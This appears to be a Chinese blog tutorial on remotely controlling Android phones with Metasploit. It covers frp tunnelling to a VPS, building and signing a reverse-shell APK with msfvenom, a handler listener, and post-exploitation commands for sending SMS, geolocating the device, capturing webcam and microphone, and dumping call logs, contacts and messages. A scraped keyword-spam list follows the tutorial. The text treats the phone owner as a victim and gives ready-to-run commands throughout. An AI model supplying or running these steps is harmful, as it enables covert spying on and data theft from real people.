千家信息网

通过Metasploit怎么远程控制Android设备

发表于:2025-01-19 作者:千家信息网编辑
千家信息网最后更新 2025年01月19日,通过Metasploit怎么远程控制Android设备,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。Android系统下使用的Metas
千家信息网最后更新 2025年01月19日通过Metasploit怎么远程控制Android设备

通过Metasploit怎么远程控制Android设备,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。

Android系统下使用的Metasploit模块

如下图,可以看到有这几种可以在Android下使用的payload:

端口映射方案

如果我们的手机与攻击者所使用的计算机处在同一局域网,受害者的手机可以直接访问到攻击者的电脑,也就不需要端口映射了。可是现实中,绝大多数情况是,受害者的手机位于外网或者与攻击者处于不同的内网,而攻击者的电脑处于令一个内网环境,此时,受害者的手机无法直接访问到攻击者的电脑,那么就需要进行端口映射了,即将攻击者的端口映射到位于公网的vps上面去,这样,受害者的手机通过访问公网vps就可以间接的访问处于内网的攻击者的电脑。

更简单的一个解决方法:既然都有vps了,为啥不直接用vps当攻击机呢?可以直接在vps上面安装metasploit,生成木马并直接控制受害者的手机,这多简单。但这里我们还是用端口映射的方法。

frp

我们先用frp工具来实现端口映射,利用处在内网的攻击机kali实现对处在外网的Android机器的入侵。

实验环境:

  • 目标Android设备

  • 公网vps(centos)

  • 内网攻击机kali

主思路是:

  • 公网vps运行frp server

  • 本地kali运行frp client

  • 将kali本地端口映射到公网vps

1. VPS 服务端:

将vps作为frp服务端,执行./frps -c ./frps.ini,服务端的配置 frps.ini 如下:

[common]bind_port = 7000   # 这是默认的,改不改皆可

2. 客户端:

将内网攻击机kali作为frp客户端,客户端的配置 frps.ini 如下:

[common]server_addr = 39.xxx.xxx.210  # 这里是公网vps的ipserver_port = 7000          # 这里的端口要跟服务端的一样[msf]type = tcplocal_ip = 127.0.0.1        local_port = 4444          # 将到达frp服务器的数据转发给本地的4444端口remote_port = 2333         # 服务端的2333端口转发给本地

客户端通过vps的IP和7000监听端口建立连接,把公网的2333端口数据传递给本地的4444端口。

配置完,执行./frpc -c ./frpc.ini启动客户端:

到这里frp就配置完了,接下来就是要生成木马了。

Metasploit生成木马

用Metasploit生成载有恶意Payload的Android的apk。在Kali Linux里面打开一个新的窗口输入:

msfvenom -p android/meterpreter/reverse_tcp LHOST=39.xxx.xxx.210(vps公网ip) LPORT=2333(公网) R > shell.apk

为apk应用签名

我们已经成功创建了Android格式(APK)文件的有效载荷。但是,现在一般Android的移动设备不允许安装没有适当签名证书的应用程序。 Android设备只安装带有签署文件的APK。我们可以使用如下工具进行手动签名:

KeytoolJARsignerzipalign

这3个软件,Kali中内置了前2个,第3个需要安装(在新版kali中,JARsigner也需要自己安装apt-get install openjdk-13-jdk-headless)

第一步使用keytool生成一个key文件。会让你输入该key的名称、单位、地址等等信息,最终生成一个key文件

keytool -genkey -v -keystore my-release-key.Keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000

上面问你的东西随便填就行,但是要注意,最后不要输入yes要输y,不然会一直询问。

如下图,生成一个key文件:

第二步:使用该key文件配合JARsigner为APK签名

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.Keystore shell.apk alias_name

第三步:然后使用JARsigner验证签名

jarsigner -verify -verbose -certs shell.apk

到此为止,就完成了签名过程,此shell.apk就可以在Android中使用了。

开启Metasploit进行监听

使用metasploit监听本地接受数据的端口

msfconsoleuse exploit/multi/handlerset payload android/meterpreter/reverse_tcp set LHOST 127.0.0.1set LPORT 4444exploit

然后将载有payload的APK发送到手机上安装并启动,此时,msf上面就可以得到手机的一个session了:

这里,有的手机得到的session一会儿自动断开,不知道为什么,我自己想了个解决办法是:刚一获得session就马上执行 webcam_stream 开启远程视频,之后断开视频就可以了,session就稳定了,不会再断开了,不知道为什么!

在我们获取了目标Android手机的Meterpreter权限之后,我们可以执行如下命令进行后渗透攻击

后渗透攻击

查看手机是否root过

check_root

控制目标手机发送短信

send_sms -d 某个手机号码 -t "hello"

查看系统信息

sysinfo

对手机进行定位

wlan_geolocate       // 使用WLAN信息获取当前地理位置geolocate            // 利用地理定位(GPS)获取当前LAT

此命令会输出手机的经纬度,我们根据这个经纬度就可以知道手机的具体位置;还有一个网址,打开网址就会显示手机在谷歌地图中的位置。但是这个网址要科学上网,所以我们可以直接在谷歌地球上定位这个经纬度:

准确度没得说了,精确到楼号。(以上经纬度为geolocate获取)

调用手机摄像头

webcam_list      // 列出网络摄像头webcam_snap 1/2webcam_chat      // 开始视频聊天webcam_snap      // 从指定的摄像头获取快照webcam_stream -i 1      // 从指定的网络摄像头播放视频流

调用麦克风

record_mic -d x      // 从默认麦克风录制音频为X秒

此命令默认录制默认麦克风录制1秒钟的音频,并将尝试不带精度的参数来播放捕获的音频wav文件。

获取通讯记录信息

dump_calllog      // 下载目标手机上的通话记录dump_contacts     // 获取联系人列表dump_sms         // 获取短信

如上图,将通讯记录,联系人列表和短信都保存到了攻击者本地文件中了

来个比较有意思的。现在让我远程强制修改我手机的壁图案。继续输入命令如下:

msf > use post/multi/manage/set_wallpapermsf post (set_wallpaper)>set WALLPAPER_FILE  /root/5.jpgmsf post (set_wallpaper)>set session 1msf post (set_wallpaper)>exploit

5.jpg如下:

执行模块并成功更换:

更多命令如下:

execute 执行一个命令 getuid 获取当前运行的用户 localtime 显示目标系统的本地日期和时间 pgrep 按名称筛选进程 ps 列出正在运行的进程用户界面命令=============================== screenshare  实时监视远程用户的桌面screenshot  抓取交互式桌面的屏幕截图音频输出命令=============================play       在目标系统上播放波形音频文件(.wav)应用程序控制器命令===============================app_install   请求安装apk文件app_list     列出设备中已安装的应用程序app_run      启动包名称的主活动app_uninstall 请求卸载apk文件

看完上述内容,你们掌握通过Metasploit怎么远程控制Android设备的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注行业资讯频道,感谢各位的阅读!

手机 端口 攻击 文件 命令 公网 攻击者 生成 设备 目标 服务 控制 受害者 客户 音频 信息 客户端 摄像头 攻击机 方法 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 税务系统网络安全制度 如何和软件开发公司提需求 计算机应用软件开发的基础 网络安全伴我成长手抄报图片 安卓手机访问数据库文件 八极拳视频软件开发 上海服务器机柜尺寸 查询数据在数据库哪个表中 宝山区什么是网络技术服务 在服务器如何安装系统 pi币在全球有多少台服务器 对日软件开发常用词汇 安徽高清视频会议服务器云服务器 组态王删除数据库中数据 智慧城市网络安全策略 网络安全防范工作时间 上海会议混合现实技术软件开发 学软件开发专升本报哪个专业 传统关系型数据库总结 河北企业党建软件开发系统 数据库和程序版本不匹配怎么办 网络安全pki关系 网络安全与文明意识的报告 怎么新建数据库用户 青少年网络安全海报手绘图片 涉密安全软件开发甲级资质 福州美美软件开发 数据仓库里面有哪些数据库 计算机软件开发自学书籍 软件技术人工智能软件开发
0